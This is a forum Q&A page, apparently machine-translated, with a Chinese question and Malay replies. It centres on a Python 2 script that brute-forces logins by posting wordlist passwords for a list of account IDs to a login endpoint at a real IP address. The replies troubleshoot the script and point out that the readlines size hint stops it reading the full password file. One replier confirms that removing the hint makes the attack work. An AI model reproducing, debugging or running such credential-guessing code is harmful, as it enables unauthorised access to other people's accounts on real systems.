网页爬虫 - python暴力破解密码的数据量问题
PHP中文网
PHP中文网 2017-04-18 10:16:35
0
2
514

我用自己的账号去尝试暴力破解,候选密码保存在本地txt文件。发现当候选密码较少时(大概几百几千个),可以正确找到密码,当数据较大(大概几十万个)的时候就找不到正确的密码,但是正确的密码就在文件里面了,这是为什么?

def try_pwd(userid,pwd):  #提交数据函数
    myurl = 'http://222.200.98.147/login!doLogin.action'
    postdata = urllib.urlencode({'account':userid, 'pwd':pwd, 'verifycode':''})
    header = {'User-Agent':'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'}
    request = urllib2.Request(url=myurl, data=postdata, headers=header)
       
    try:
        acp_login = urllib2.urlopen(request,timeout=10)
    except urllib2.HTTPError,e:
        print e.reason,e.code
    re_info = acp_login.read()
       
    if re_info == '{"msg":"/login!welcome.action","status":"y"}':
        print 'ID:',userid
        print 'password:', pwd
        isfind = True
    else:
#         print 'None'
        isfind = False
    return isfind
    
    
start_time = time.time()
print 'Start...'
userID_file = open('e:\\userID.txt','r')   #userID.txt为账号文件
for userID in userID_file.readlines(100):
    userID = userID.strip('\n')
    pwd_file = open('e:\\pwd2.txt','r')      #pwd2.txt为密码文件
    for t_pwd in pwd_file.readlines(10000):
         t_pwd = t_pwd.strip('\r\n')
         isfind = try_pwd(userid=userID,pwd= t_pwd)
         if isfind == True:
             break
    if isfind == False:
         print userID, u'没有匹配'
    pwd_file.close()     

userID_file.close()
end_time = time.time()
print "total time: ",end_time-start_time
PHP中文网
PHP中文网

认证高级PHP讲师

membalas semua(2)
小葫芦

1. Sila hantar kod
2. Adakah anda pasti anda telah melalui semua kata laluan

readlines(hint=-1)
Baca dan kembalikan senarai baris daripada strim boleh ditentukan untuk mengawal bilangan baris dibaca: tiada lagi baris akan dibaca jika jumlah saiz (dalam bait/. aksara) daripada semua baris setakat ini melebihi petunjuk.

Ambil perhatian bahawa anda sudah boleh melakukan lelaran pada objek fail menggunakan untuk baris dalam fail: ... tanpa memanggil file.readlines().

https://docs.python.org/3.3/l...

Kod anda hanya membaca 100 baris, kata laluan yang betul hendaklah selepas 100 baris

大家讲道理

Saya baru sahaja mencuba dan mengalih keluar parameter dalam baris baca dan ia berfungsi semula?_?

Muat turun terkini
Lagi>
kesan web
Kod sumber laman web
Bahan laman web
Templat hujung hadapan
Tentang kita Penafian Sitemap
Laman web PHP Cina:Latihan PHP dalam talian kebajikan awam,Bantu pelajar PHP berkembang dengan cepat!